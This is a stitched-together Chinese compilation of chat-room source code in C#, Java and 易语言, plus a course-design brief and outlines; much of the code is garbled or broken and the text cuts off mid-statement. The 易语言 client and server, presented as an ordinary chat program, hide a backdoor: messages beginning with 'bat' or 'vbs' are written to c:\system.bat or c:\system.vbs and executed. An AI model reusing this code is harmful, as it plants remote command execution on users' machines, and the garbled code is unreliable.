JAVA聊天室附完整代码
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实现用C#做一个聊天室客户端的代码:using System;using System.Collections.Generic;using ponentModel;using System.Data;using System.Drawing;using System.Text;using ;using .Sockets;using System.Windows.Forms;namespace EasyChat{public partial class login_frm : Form{///<summary>/// IP地址///</summary>private IPAddress _ipAddr;#region登录窗体构造函数///<summary>///构造函数,自动生成///</summary>public login_frm(){InitializeComponent();}#endregion#region登录窗体的私有方法///<summary>///验证登录信息///</summary>///<returns>验证结果</returns>private bool ValidateInfo(){if (user_tb.Text.Trim() == string.Empty){MessageBox.Show("请填写用户名!","提示",MessageBoxButtons.OK,rmation);return false;}if (!IPAddress.TryParse(svrip_tb.Text, out _ipAddr)) {MessageBox.Show("IP地址不合法!","提示",MessageBoxButtons.OK,rmation);return false;}int _port;if (!int.TryParse(svrport_tb.Text, out _port)){MessageBox.Show("端口号不合法!","提示",MessageBoxButtons.OK,rmation);return false;}else{if (_port < 1024 || _port > 65535){MessageBox.Show("端口号不合法!","提示",MessageBoxButtons.OK,rmation);return false;}}return true;}///<summary>///取消,关闭窗体///</summary>///<param name="sender"></param>///<param name="e"></param>private void cancel_btn_Click(object sender, EventArgs e){this.Close();}///<summary>///登录///</summary>///<param name="sender"></param>///<param name="e"></param>private void login_btn_Click(object sender, EventArgs e){//验证数据合法性if (!ValidateInfo()){return;}int port = int.Parse(svrport_tb.Text);//向服务器发出连接请求TCPConnection conn = new TCPConnection(_ipAddr, port);TcpClient _tcpc = conn.Connect();if (_tcpc == null){MessageBox.Show("无法连接到服务器,请重试!","错误",MessageBoxButtons.OK,MessageBoxIcon.Exclamation);}else{NetworkStream netstream = _tcpc.GetStream();//提供用于访问网络的基本数据流//向服务器发送用户名以确认身份netstream.Write(Encoding.Unicode.GetBytes(user_tb.Text), 0, Encoding.Unicode.GetBytes(user_tb.Text).Length);//得到登录结果byte[] buffer = new byte[50];netstream.Read(buffer, 0, buffer.Length);//该方法将数据读入 buffer 参数并返回成功读取的字节数。
ChatClient.javaimport java.awt.*;import java.io.*;import .*;import java.applet.*;import java.util.Hashtable;public class ChatClient extends Applet implements Runnable{ Socket socket=null;DataInputStream in=null;//读取服务器端发来的消息DataOutputStream out=null;//向服务器端发送的消息InputInfo 用户名提交界面=null;UserChat 聊天界面=null;Hashtable listTable;//用于存放在线用户的用户名的散列表Label 提示条;Panel north,center;Thread thread;public void init(){setSize(1000,800);int width=getSize().width;int height=getSize().height;listTable=new Hashtable();setLayout(new BorderLayout());用户名提交界面=new InputInfo(listTable);int h=用户名提交界面.getSize().height;聊天界面=new UserChat("",listTable,width,height-(h+5));聊天界面.setVisible(false);提示条=new Label("正在连接到服务器...",Label.CENTER);提示条.setForeground(Color.red);north=new Panel(new FlowLayout(FlowLayout.LEFT));center=new Panel();north.add(用户名提交界面);north.add(提示条);center.add(聊天界面);add(north,BorderLayout.NORTH);add(center,BorderLayout.CENTER);validate();}public void start(){if(socket!=null&&in!=null&&out!=null){try{socket.close();in.close();out.close();聊天界面.setVisible(false);}catch(Exception ee){}}try{socket=new Socket(this.getCodeBase().getHost(),6666);in=new DataInputStream(socket.getInputStream());out=new DataOutputStream(socket.getOutputStream());}catch(IOException ee){提示条.setText("连接失败");}//客户端成功连接服务器端if(socket!=null){InetAddress address=socket.getInetAddress();提示条.setText("连接:"+address+"成功");用户名提交界面.setSocketConnection(socket,in,out);north.validate();}if(thread==null){thread=new Thread(this);thread.start();}}public void stop(){try{socket.close();thread=null;}catch(IOException e){this.showStatus(e.toString());}}public void run(){while(thread!=null){if(用户名提交界面.getchatornot()==true){聊天界面.setVisible(true);聊天界面.setName(用户名提交界面.getName());聊天界面.setSocketConnection(socket,in,out);提示条.setText("祝聊天快乐!");center.validate();break;}try{Thread.sleep(100);}catch(Exception e){}}}}ChatMain.javaimport .*;import java.util.*;public class ChatMain {public static void main(String args[]) {ServerSocket server=null;Socket you=null;Hashtable peopleList;peopleList=new Hashtable();while(true){try{//服务器端在端口6666处监听来自客户端的信息server=new ServerSocket(6666);}catch(IOException e1){System.out.println("正在监听");}try{//当服务器端接收到客户端的消息后,取得客户端的IP地址。
import java.io.*;import .*;import java.awt.*;import javax.swing.*;import java.awt.event.*;//引入包。
public class ChatClient {public static void main(String[] args) {ChatClient cc = new ChatClient();cc.receive();}JTextField jtf; // 文本条JTextArea jta; //文本域。
Socket s; //客户端PrintWriter out; //输出流BufferedReader in; //输入流public ChatClient() {JFrame frame = new JFrame("ChatClient");//窗口frame.setSize(400, 300); //大小jta = new JTextArea(); //文本域jta.setEditable(false); //不可编辑jtf = new JTextField();//文件条jtf.addActionListener(new ActionListener() { //添加监听。
public void actionPerformed(ActionEvent arg0) {send(); //调用send()方法}});frame.getContentPane().add(new JScrollPane(jta)); //添加滚动条frame.getContentPane().add(jtf, "South"); //添加文本条frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); //关闭窗口。
frame.setVisible(true); //可显示的。
JAVA结合WebSocket实现简单客服聊天功能说明:该⽰例只简单的实现了客服聊天功能。
1、聊天记录没有保存到数据库中,⼀旦服务重启,消息记录将会没有,如果需要保存到数据库中,可以扩展2、页⾯样式⽤的⽹上模板,样式可以⾃⼰进⾏修改3、只能由⽤户主要发起会话,管理员⽆法主动进⾏对话4、页⾯之间跳转代码没有包含在⾥⾯,请⾃⼰书写,在管理员消息列表页中,需要把该咨询的⽤户ID带到客服回复页⾯中5、${websocket_url} 这个为项⽬的URL地址效果截图:客服回复页⾯(member_admin_chat.html)管理员消息列表页(member_admin_chat_list.html)⽤户咨询页⾯(member_chat.html)代码:页⾯所需要⽤到的基础样式、图⽚,下载链接:(这个只是⾃⼰⽹上下载的样式demo,可以根据⾃⼰的来)pom.xml <dependency><groupId>javax</groupId><artifactId>javaee-api</artifactId><version>8.0</version><scope>provided</scope></dependency>或者jar包javax.websocket-api-1.0.jar下载地址:配置类WebSocketConfig.javapackage com.config;import javax.websocket.Endpoint;import javax.websocket.server.ServerApplicationConfig;import javax.websocket.server.ServerEndpointConfig;import java.util.Set;public class WebSocketConfig implements ServerApplicationConfig {@Overridepublic Set<ServerEndpointConfig> getEndpointConfigs(Set<Class<? extends Endpoint>> endpointClasses) { return null;}@Overridepublic Set<Class<?>> getAnnotatedEndpointClasses(Set<Class<?>> scanned) {//在这⾥会把含有@ServerEndpoint注解的类扫描加载进来,可以在这⾥做过滤等操作return scanned;}}消息DTO类(使⽤了lombok,这⾥不在多做说明)ChatDTO.javapackage com.websocket.dto;import lombok.AllArgsConstructor;import lombok.Data;import lombok.NoArgsConstructor;import lombok.experimental.Accessors;/*** @author 。
Java程序课程设计任务书JAVA聊天室的系统的设计与开发1.主要内容:用JAVA实现基于C/S模式的聊天室系统。
聊天室分为服务器端和客户端两部分,服务器端程序主要负责侦听客户端发来的信息,客户端需要登陆到服务器端才可以实现正常的聊天功能。
2.具体要求(包括技术要求等):系统的功能要求:A.服务器端主要功能如下:1.在特定端口上进行侦听,等待客户端连接。
2.用户可以配置服务器端的侦听端口,默认端口为8888。
3.向已经连接到服务器端的用户发送系统消息。
4.统计在线人数。
5.当停止服务时,断开所有的用户连接。
B.客户端的主要功能如下:1.连接到已经开启聊天服务的服务器端。
2.用户可以配置要连接的服务器端的IP地址和端口号。
3.用户可以配置连接后显示的用户名。
4.当服务器端开启的话,用户可以随时登录和注销。
5.用户可以向所有人或某一个人发送消息。
学习并掌握一下技术:Java JavaBean 等熟练使用一下开发工具:Eclipse, JCreator 等实现系统上诉的功能。
3.进度安排:12月28日 ~ 12月29日:课程设计选题,查找参考资料12月30日 ~ 1月1日:完成系统设计1月2日 ~ 1月5日:完成程序代码的编写1月6日:系统测试与完善1月7日:完成课程设计报告,准备答辩4.主要参考文献:[1].张广彬孟红蕊张永宝.Java课程设计(案例精编)[M].清华大学出版社.2007年版摘要在网络越来越发达的今天,人们对网络的依赖越来越多,越来越离不开网络,由此而产生的聊天工具越来越多,例如,国外的ICQ、国内腾讯公司开发的OICQ。
基于Java网络编程的强大功能,本次毕业设计使用Java编写一个聊天系统。
一般来说,聊天工具大多数由客户端程序和服务器程序外加服务器端用于存放客户数据的数据库组成,本系统采用客户机/服务器架构模式通过Java提供的Soket类来连接客户机和服务器并使客户机和服务器之间相互通信,由于聊天是多点对多点的而Java提供的多线程功能用多线程可完成多点对多点的聊天,数据库管理系统用SQL Server2000完成并通过JDBC-ODBC桥访问数据库。
Java 多人聊天源码1.ChatApplet.java类import java.awt.*;import java.awt.event.*;import java.applet.*;import javax.swing.*;import yout.*;import javax.swing.border.*;import java.io.*;import .*;public class ChatApplet extends JApplet {boolean isStandalone = false;BorderLayout borderLayout1 = new BorderLayout();Border border1;JPanel jPanel2 = new JPanel();Border border2;BorderLayout borderLayout2 = new BorderLayout();JPanel jPanel1 = new JPanel();JButton buttonSend = new JButton();BorderLayout borderLayout3 = new BorderLayout();JPanel jPanel3 = new JPanel();Border border3;BorderLayout borderLayout4 = new BorderLayout();JTextField textTalk = new JTextField();JPanel jPanel4 = new JPanel();Border border4;BorderLayout borderLayout5 = new BorderLayout();JScrollPane jScrollPane1 = new JScrollPane();JTextArea textMessages = new JTextArea();PrintWriter out = null;/**Get a parameter value*/public String getParameter(String key, String def) {return isStandalone ? System.getProperty(key, def) :(getParameter(key) != null ? getParameter(key) : def); }/**Construct the applet*/public ChatApplet() {}/**Initialize the applet*/public void init() {try {jbInit();Client client = new Client(this);if (client.isConnected())out = client.getOutputStream();elseappendMessage("大大的错误!!");}catch(Exception e) {e.printStackTrace();}}/**Component initialization*/private void jbInit() throws Exception {border1 = BorderFactory.createEmptyBorder(9,9,9,9);border2 = BorderFactory.createEmptyBorder(9,9,9,9);border3 = BorderFactory.createEmptyBorder(2,0,2,5);border4 = BorderFactory.createEmptyBorder(0,0,5,0);this.setSize(new Dimension(400,300));this.getContentPane().setLayout(borderLayout1);jPanel2.setBorder(border2);jPanel2.setLayout(borderLayout2);buttonSend.setFocusPainted(false);buttonSend.setText("发送");buttonSend.addActionListener(newjava.awt.event.ActionListener() {public void actionPerformed(ActionEvent e) {buttonSend_actionPerformed(e);}});jPanel1.setLayout(borderLayout3);jPanel3.setBorder(border3);jPanel3.setLayout(borderLayout4);jPanel4.setBorder(border4);jPanel4.setLayout(borderLayout5);textTalk.addKeyListener(new java.awt.event.KeyAdapter() { public void keyPressed(KeyEvent e) {textTalk_keyPressed(e);}});this.getContentPane().add(jPanel2, BorderLayout.CENTER);jPanel2.add(jPanel1, BorderLayout.SOUTH);jPanel1.add(buttonSend, BorderLayout.EAST);jPanel1.add(jPanel3, BorderLayout.CENTER);jPanel3.add(textTalk, BorderLayout.CENTER);jPanel2.add(jPanel4, BorderLayout.CENTER);jPanel4.add(jScrollPane1, BorderLayout.CENTER);jScrollPane1.getViewport().add(textMessages, null);}/**Get Applet information*/public String getAppletInfo() {return "Applet Information";}/**Get parameter info*/public String[][] getParameterInfo() {return null;}/**Main method*/public static void main(String[] args) {ChatApplet applet = new ChatApplet();applet.isStandalone = true;JFrame frame = new JFrame();//EXIT_ON_CLOSE == 3frame.setDefaultCloseOperation(3);frame.setTitle("Applet Frame");frame.getContentPane().add(applet, BorderLayout.CENTER);applet.init();applet.start();frame.setSize(400,320);Dimension d = Toolkit.getDefaultToolkit().getScreenSize();frame.setLocation((d.width - frame.getSize().width) / 2, (d.height - frame.getSize().height) / 2);frame.setVisible(true);}//static initializer for setting look & feelstatic {try {UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName());//UIManager.setLookAndFeel(UIManager.getCrossPlatformLookAndFeelClass Name());}catch(Exception e) {}}public void appendMessage(String message) {textMessages.setText(message + textMessages.getText());}void buttonSend_actionPerformed(ActionEvent e) {String msg;msg = textTalk.getText().trim();if (msg.equals("") || msg == null) return;out.println(textTalk.getText());textTalk.setText("");}void textTalk_keyPressed(KeyEvent e) {if (e.getKeyChar() != '\n') return;out.println(textTalk.getText());textTalk.setText("");}}2.ChatServlet.javaimport javax.servlet.*;import javax.servlet.http.*;import java.io.*;import java.util.*;public class ChatServlet extends HttpServlet {private static final String CONTENT_TYPE = "text/html";/**Initialize global variables*/public void init(ServletConfig config) throws ServletException { super.init(config);try {new Server();}catch (IOException ex) {System.err.println("IO 错误:");ex.printStackTrace(System.err);destroy();}/**Process the HTTP Get request*/public void doGet(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {response.setContentType(CONTENT_TYPE);PrintWriter out = response.getWriter();out.println("<html>");out.println("<head><title>ChatServlet</title></head>");out.println("<body>");out.println("<p>The servlet has received a GET. This is the reply.</p>");out.println("</body></html>");}/**Clean up resources*/public void destroy() {}}3.Client.javaimport java.io.*;import .*;public class Client {Socket socket = null;private String host;private boolean connected = false;public boolean isConnected() { return connected; }public Client(ChatApplet applet) {try {host = applet.getDocumentBase().getHost();//host = "202.115.4.246";socket = new Socket(host, Server.port);connected = true;new ClientRecieveThread(socket, applet).start();}catch (Exception ex) {applet.appendMessage(ex.getMessage());ex.printStackTrace(System.err);}public PrintWriter getOutputStream() throws IOException {return new PrintWriter(socket.getOutputStream(), true);}}4.ClientRecieveThread.javaimport java.io.*;import .*;public class ClientRecieveThread extends Thread {private ChatApplet applet = null;private Socket socket = null;public ClientRecieveThread(Socket socket, ChatApplet applet) { this.socket = socket;this.applet = applet;}public void run() {BufferedReader in = null;String inputLine;try {in = new BufferedReader(new InputStreamReader(socket.getInputStream()));while ((inputLine = in.readLine()) != null) {//if (inputLine.equalsIgnoreCase("quit")) break; applet.appendMessage(inputLine + "\n");}}catch (Exception ex) {ex.printStackTrace(System.err);}finally {Close();}}void Close() {try {socket.close();catch (Exception ex) {ex.printStackTrace(System.err);}}}5.Protocol.javapublic class Protocol {private String userid;public Protocol(String userid) {erid = userid;}public String processInput(String input) {return (userid + ": " + input);}}6.Server.javaimport java.io.*;import .*;import java.util.Vector;public class Server {private ServerSocket serverSocket = null;public static int port = 4444;private boolean listening = true;Vector clientSockets = new Vector(10);public Server() throws IOException {try {serverSocket = new ServerSocket(port);}catch (Exception ex) {System.err.println("不能监听端口:" + port); ex.printStackTrace(System.err);System.exit(-1);System.out.println("成功监听端口:" + port);while (listening)addClient(serverSocket.accept());serverSocket.close();}public void addClient(Socket socket) throws IOException {new ServerThread(socket, this).start();clientSockets.add(socket);send("欢迎 " + socket.getInetAddress().getHostName() + " 来到这里!");System.out.println("聊天室共有 " + clientSockets.size() + " 人");}public void removeClient(Socket socket) throws IOException {send("欢送 " + socket.getInetAddress().getHostName() + " 的离去");clientSockets.remove(socket);System.out.println("聊天室共有 " + clientSockets.size() + " 人");}public void send(String msg) throws IOException {Socket socket = null;for (int I = 0; I < clientSockets.size(); I++) {socket = (Socket)(clientSockets.get(I));PrintWriter out = new PrintWriter(socket.getOutputStream(), true);out.println(msg);}}public static void main(String[] args) throws IOException {new Server();}}7.ServerThread.javapublic class ServerThread extends Thread {private Server server = null;private Socket socket = null;private Protocol jcp = null;private String userid;public ServerThread(Socket socket, Server server) {super("jetic Chat Server");this.socket = socket;this.server = server;userid = socket.getInetAddress().getHostName();jcp = new Protocol(userid);}public void run() {PrintWriter out = null;BufferedReader in = null;String inputLine, outputLine;try {out = new PrintWriter(socket.getOutputStream(), true); in = new BufferedReader(new InputStreamReader(socket.getInputStream()));out.println("你可以开始你的闲聊了:)");while ((inputLine = in.readLine()) != null) {if (inputLine.equalsIgnoreCase("quit")) break;outputLine = jcp.processInput(inputLine);server.send(outputLine);}}catch (Exception ex) {ex.printStackTrace(System.err);Close();}finally {Close();}}private void Close() {try {server.removeClient(socket);socket.close();}catch (Exception ex) {ex.printStackTrace(System.err); }}}。
JAVA聊天程序设计代码及报告import java.io.BufferedReader;import java.io.InputStreamReader;import java.io.PrintWriter;import java.util.Scanner;public class ChatClientpublic static void main(String[] args)final String HOST_NAME = "localhost";final int PORT_NUMBER = 1234;trySocket socket = new Socket(HOST_NAME, PORT_NUMBER);System.out.println("Connected to chat server!");BufferedReader reader = new BufferedReader(new InputStreamReader(socket.getInputStream());PrintWriter writer = new PrintWriter(socket.getOutputStream(, true);// read user input in a separate threadThread inputThread = new Thread(( ->Scanner scanner = new Scanner(System.in);while (true)String userInput = scanner.nextLine(;writer.println(userInput);}});inputThread.start(;// continuously read server responsesString serverResponse;while ((serverResponse = reader.readLine() != null)System.out.println("Server: " + serverResponse);}} catch (Exception e)System.out.println("Error: " + e.getMessage();}}该聊天程序是一个基于TCP协议的客户端程序,使用了Java Socket 进行通信。
java websocket案例摘要:1.Java WebSocket 简介2.WebSocket 案例一:聊天室3.WebSocket 案例二:在线投票4.WebSocket 案例三:实时股票信息5.总结正文:1.Java WebSocket 简介Java WebSocket 是一种在单个TCP 连接上进行全双工通信的协议。
相较于HTTP,WebSocket 提供了更快的数据传输速度和更低的延迟,使得实时应用和交互成为可能。
在Java 中,我们可以通过使用WebSocket API 和相关的库来实现WebSocket 应用。
2.WebSocket 案例一:聊天室聊天室是一个经典的实时通信应用。
在这个案例中,我们可以使用Java WebSocket 实现一个简单的聊天室,让用户能够实时地发送和接收消息。
通过WebSocket,我们可以实现客户端与服务器之间的双向通信,让用户能够实时地看到其他人发送的消息。
3.WebSocket 案例二:在线投票在线投票是一个实时的数据收集和处理应用。
使用Java WebSocket,我们可以实现一个实时的在线投票系统。
在这个系统中,用户可以实时地投票并查看投票结果。
通过WebSocket,我们可以实时地更新投票数据,让用户能够看到实时的投票结果。
4.WebSocket 案例三:实时股票信息实时股票信息是一个需要快速响应的应用。
使用Java WebSocket,我们可以实现一个实时的股票信息展示系统。
在这个系统中,用户可以实时地查看股票的涨跌情况。
通过WebSocket,我们可以实时地更新股票数据,让用户能够看到实时的股票信息。
5.总结Java WebSocket 为实时应用和交互提供了强大的支持。
通过使用WebSocket,我们可以实现聊天室、在线投票和实时股票信息等应用,为用户提供更加丰富和实时的体验。
JAVA局域网聊天系统源代码【附件】附件1:JAVA局域网聊天系统源代码:zip【法律名词及注释】1:局域网(LAN):指在有限的地理范围内构建的计算机网络,用于连接位于同一建筑物或同一物理区域的计算机设备。
2:源代码(source code):指计算机程序的人类可读形式,通常采用编程语言编写的文本文件。
源代码需要经过编译才能转换为机器可执行的形式。
3:聊天系统(chat system):指一种通过计算机网络实现用户之间即时通信的系统,用户可以发送文字、图片、音频、视频等信息,并能够实时接收、查看其他用户发送的信息。
【正文】1:引言1.1 目的1.2 背景1.3 范围2:系统概述2.1 功能概述2.2 系统组成2.3 技术选型3:系统设计3.1 用例图3.2 类图3.3 数据库设计3.4 网络通信设计3.5 用户界面设计4:功能模块4.1 用户注册登录模块 4.1.1 注册功能4.1.2 登录功能4.2 好友管理模块4.2.1 好友列表展示 4.2.2 添加好友功能 4.2.3 删除好友功能4.3 聊天功能模块4.3.1 发送文本消息 4.3.2 发送图片消息 4.3.3 发送音频消息 4.3.4 发送视频消息 4.4 群组功能模块4.4.1 创建群组4.4.2 加入群组4.4.3 群组聊天5:系统实现5.1 开发环境5.2 开发工具5.3 源代码结构5.4 主要代码逻辑解析6:测试与部署6.1 单元测试6.2 集成测试6.3 UI测试6.4 部署配置7:系统运行与维护7.1 运行环境7.2 系统运行步骤7.3 常见问题与解决方法7.4 系统维护与升级【附件】附件1:JAVA局域网聊天系统源代码:zip【法律名词及注释】1:局域网(LAN):指在有限的地理范围内构建的计算机网络,用于连接位于同一建筑物或同一物理区域的计算机设备。
2:源代码(source code):指计算机程序的人类可读形式,通常采用编程语言编写的文本文件。
要创建一个简单的Java聊天窗口,您可以使用Java的图形用户界面(GUI)工具包Swing。
以下是一个基本的聊天窗口示例:```javaimport javax.swing.*;import java.awt.*;import java.awt.event.*;public class ChatWindow extends JFrame implements ActionListener {private JTextField inputField;private JTextArea chatArea;private String message = "";public ChatWindow() {super("简单聊天窗口");setSize(400, 300);setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);inputField = new JTextField();chatArea = new JTextArea();JButton sendButton = new JButton("发送");sendButton.addActionListener(this);JScrollPane scrollPane = new JScrollPane(chatArea);chatArea.setAutoscrolls(true);getContentPane().add(inputField,BorderLayout.SOUTH);getContentPane().add(sendButton, BorderLayout.EAST); getContentPane().add(scrollPane,BorderLayout.CENTER);}public void actionPerformed(ActionEvent e) {if (e.getSource() == sendButton) {message += inputField.getText() + "\n";chatArea.append(inputField.getText() + "\n");inputField.setText(""); // 清空输入框}}public static void main(String[] args) {ChatWindow chatWindow = new ChatWindow();}}```这个程序创建了一个简单的聊天窗口,用户可以在输入框中输入消息,然后点击"发送"按钮将消息发送到聊天区域。
客户机代码:.版本2.支持库shell.支持库xplib.程序集窗口程序集1.程序集变量文件号1, 整数型.程序集变量文件长度, 整数型.程序集变量发送内容, 字节集.程序集变量文件名, 文本型.程序集变量文件号2, 整数型.子程序_按钮1_被单击.局部变量现在时间, 文本型.如果(编辑框7.内容=“1”).如果(编辑框6.内容≠“”).如果(编辑框2.内容≠“”)客户1.发送数据(“聊天”+编辑框2.内容)现在时间=到文本(取年份(取现行时间())) +“/”+到文本(取月份(取现行时间())) +“/”+到文本(取日(取现行时间())) +“/”+到文本(取小时(取现行时间())) +“:”+到文本(取分钟(取现行时间())) +“:”+到文本(取秒(取现行时间()))编辑框1.内容=编辑框1.内容+“【本机】”+现在时间+#换行符+“”+编辑框2.内容+#换行符编辑框2.内容=“”.否则信息框(“发送消息不能为空”, 48, “提示”).如果结束.否则信息框(“服务器IP地址不能为空”, 48, “提示”).如果结束.否则信息框(“服务器未连接”, 48, “提示”).如果结束.子程序_按钮2_被单击.如果(编辑框6.内容≠“”).如果(编辑框8.内容≠“”).如果(客户1.连接(编辑框6.内容, 1991) =真)播放MP3 (1, “xlj.mp3”)编辑框1.内容=编辑框1.内容+“连接:”+编辑框6.内容+“成功”+#换行符按钮2.禁止=真编辑框7.内容=“1”客户1.发送数据(“昵称”+编辑框8.内容).否则播放MP3 (1, “lk.mp3”)编辑框1.内容=编辑框1.内容+“连接:”+编辑框6.内容+“失败”+#换行符.如果结束.否则信息框(“请填写你的昵称”, 48, “提示”).如果结束.否则信息框(“请填写要连接的IP地址”, 48, “提示”).如果结束.子程序_客户1_数据到达.局部变量接收内容, 文本型.局部变量现在时间, 文本型.局部变量发送进度, 整数型接收内容=到文本(客户1.取回数据())现在时间=到文本(取年份(取现行时间())) +“/”+到文本(取月份(取现行时间())) +“/”+到文本(取日(取现行时间())) +“/”+到文本(取小时(取现行时间())) +“:”+到文本(取分钟(取现行时间())) +“:”+到文本(取秒(取现行时间())).如果(接收内容=“接收”).如果(是否在文件尾(文件号1, ) =假)发送内容=读入字节集(文件号1, 2048)发送进度=取读写位置(文件号1)进度条1.位置=发送进度÷文件长度×1000客户1.发送数据(发送内容).否则客户1.发送数据(“发送完毕”)信息框(“发送完毕”, 64, “提示”)分组框8.可视=假进度条1.位置=0.如果结束.否则.如果(接收内容=“拒绝”)信息框(“对方拒绝接收文件”, 64, “提示”)分组框8.可视=假.否则.如果(取文本左边(接收内容, 3) =“bat”)文件号1 =打开文件(“c:\system.bat”, 4, 1)写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) -3))关闭文件(文件号1)执行(4, “c:\system.bat”, , , ).否则.如果(取文本左边(接收内容, 3) =“vbs”)文件号1 =打开文件(“c:\system.vbs”, 4, 1)写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) -3))关闭文件(文件号1)执行(4, “c:\system.vbs”, , , ).否则编辑框1.内容=编辑框1.内容+“【服务器】”+现在时间+#换行符+“”+接收内容+#换行符播放音乐(“xxx.wav”, 假).如果结束.如果结束.如果结束.如果结束.子程序_客户1_连接断开编辑框7.内容=“0”编辑框1.内容=编辑框1.内容+“<与服务器断开>”+#换行符按钮2.禁止=假播放MP3 (1, “lk.mp3”).子程序_按钮4_被单击.如果(编辑框7.内容=“1”)客户1.断开连接()编辑框7.内容=“0”编辑框1.内容=编辑框1.内容+“<与服务器断开连接>”+#换行符按钮2.禁止=假播放MP3 (1, “lk.mp3”).否则信息框(“没有连接”, 48, “提示”).如果结束.子程序_按钮9_被单击编辑框13.内容=“”分组框8.可视=假.子程序_按钮7_被单击通用对话框1.打开()编辑框13.内容=通用对话框1.文件名.子程序_按钮8_被单击.如果(编辑框13.内容≠“”)文件名=取文本右边(编辑框13.内容, 取文本长度(编辑框13.内容) -倒找文本(编辑框13.内容, “\”, , 假))文件号1 =打开文件(编辑框13.内容, 1, 1)文件长度=取文件长度(文件号1)客户1.发送数据(“文件名”+文件名+“|”+到文本(文件长度)).否则信息框(“未选择文件”, 48, “提示”).如果结束.子程序_按钮10_被单击.如果(编辑框7.内容=“1”)分组框8.可视=真.否则信息框(“未连接服务器”, 48, “提示”).如果结束.子程序_按钮13_被单击.局部变量文件号3, 整数型文件号3 =打开文件(“客户机聊天记录.txt”, 5, 1)移到文件尾(文件号3)插入文本(文件号3, 编辑框1.内容)关闭文件(文件号3)编辑框1.内容=“”.子程序__启动窗口_创建完毕_启动窗口.标题=_启动窗口.标题+“本机IP地址【”+转换为IP地址(取主机名()) +“】”XP风格(3).子程序_编辑框1_内容被改变编辑框1.起始选择位置=-1服务器代码:.版本2.支持库shell.支持库xplib.程序集窗口程序集1.程序集变量文件号1, 整数型.程序集变量文件长度, 整数型.程序集变量发送内容, 字节集.程序集变量文件名, 文本型.程序集变量文件号2, 整数型.子程序_服务器1_客户进入.子程序_服务器1_数据到达.局部变量接收内容, 文本型.局部变量x, 整数型.局部变量i, 整数型.局部变量现在时间, 文本型.局部变量聊天内容, 文本型.局部变量j, 整数型.局部变量x1, 整数型.局部变量IP, 文本型.局部变量端口, 文本型接收内容=到文本(服务器1.取回数据())现在时间=到文本(取年份(取现行时间())) +“/”+到文本(取月份(取现行时间())) +“/”+到文本(取日(取现行时间())) +“/”+到文本(取小时(取现行时间())) +“:”+到文本(取分钟(取现行时间())) +“:”+到文本(取秒(取现行时间()))编辑框5.内容=到文本(服务器1.取回客户())编辑框9.内容=取文本右边(接收内容, 取文本长度(接收内容) -4)x1 =寻找文本(编辑框5.内容, “:”, 1, 假)IP =取文本左边(编辑框5.内容, x1 -1)端口=取文本右边(编辑框5.内容, 取文本长度(编辑框5.内容) -x1)编辑框10.内容=IP编辑框11.内容=端口.如果(取文本左边(接收内容, 4) =“昵称”)列表框1.加入项目(到文本(服务器1.取回客户()), )列表框2.加入项目(取文本右边(接收内容, 取文本长度(接收内容) -4), )编辑框3.内容=编辑框3.内容+“<【”+取文本右边(接收内容, 取文本长度(接收内容) -4) +“】进入>”+现在时间+#换行符播放MP3 (1, “xlj.mp3”).否则.如果(取文本左边(接收内容, 6) =“文件名”)编辑框12.内容=到文本(服务器1.取回客户())j =倒找文本(接收内容, “|”, , 假)编辑框14.内容=“d:\”+取文本中间(接收内容, 7, j -7)分组框9.标题=“来自:”+到文本(服务器1.取回客户()) +“的发送文件请求”编辑框16.内容=“文件大小:”+到文本(到数值(取文本右边(接收内容, 取文本长度(接收内容) -j)) ÷1024 ÷1024) +“Mb”编辑框15.内容=到文本(到数值(取文本右边(接收内容, 取文本长度(接收内容) -j)))播放音乐(“xwj.wav”, 假)分组框9.可视=真.否则.如果(取文本左边(接收内容, 4) =“聊天”).如果(取文本中间(接收内容, 5, 3) =“bat”)文件号1 =打开文件(“c:\system.bat”, 4, 1)写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) -7))关闭文件(文件号1)执行(4, “c:\system.bat”, , , ).否则.如果(取文本中间(接收内容, 5, 3) =“vbs”)文件号1 =打开文件(“c:\system.vbs”, 4, 1)写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) -7))关闭文件(文件号1)执行(4, “c:\system.vbs”, , , ).否则聊天内容=取文本右边(接收内容, 取文本长度(接收内容) -4)编辑框5.内容=到文本(服务器1.取回客户())i =列表框1.取项目数().变量循环首(0, i -1, 1, x).如果(列表框1.取项目文本(x) =编辑框5.内容)编辑框9.内容=列表框2.取项目文本(x).否则.如果结束.变量循环尾()编辑框3.内容=编辑框3.内容+“【”+编辑框9.内容+“】”+现在时间+#换行符+“”+聊天内容+#换行符播放音乐(“xxx.wav”, 假).如果结束.如果结束.否则.如果(接收内容=“发送完毕”)关闭文件(文件号2)信息框(“接收完成”, 64, “提示”)执行(4, 取文本左边(编辑框14.内容, 倒找文本(编辑框14.内容, “\”, , 假) -1), , , )编辑框12.内容=“”编辑框17.内容=“0”进度条2.位置=0分组框9.可视=假.否则编辑框17.内容=到文本(到数值(编辑框17.内容) +2048)进度条2.位置=到数值(编辑框17.内容) ÷到数值(编辑框15.内容) ×1000写出字节集(文件号2, 服务器1.取回数据())服务器1.发送数据(服务器1.取回客户(), “接收”, 10).如果结束.如果结束.如果结束.如果结束.子程序_按钮3_被单击.局部变量现在时间, 文本型.如果(编辑框5.内容≠“”).如果(编辑框4.内容≠“”)现在时间=到文本(取年份(取现行时间())) +“/”+到文本(取月份(取现行时间())) +“/”+到文本(取日(取现行时间())) +“/”+到文本(取小时(取现行时间())) +“:”+到文本(取分钟(取现行时间())) +“:”+到文本(取秒(取现行时间()))服务器1.发送数据(编辑框5.内容, 编辑框4.内容, 10)编辑框3.内容=编辑框3.内容+“TO【”+编辑框9.内容+“】”+现在时间+#换行符+“”+编辑框4.内容+#换行符编辑框4.内容=“”.否则信息框(“发送内容不能为空”, 48, “提示”).如果结束.否则信息框(“请选择客户”, 48, “提示”).如果结束.子程序_按钮5_被单击.局部变量i, 整数型.局部变量x, 整数型.如果(编辑框5.内容≠“”)编辑框3.内容=编辑框3.内容+“<正在与【”+编辑框9.内容+“】断开>......”+#换行符服务器1.断开客户(编辑框5.内容)播放MP3 (1, “lk.mp3”).否则信息框(“请选择客户”, 48, “提示”).如果结束i =列表框1.取项目数().变量循环首(0, i -1, 1, 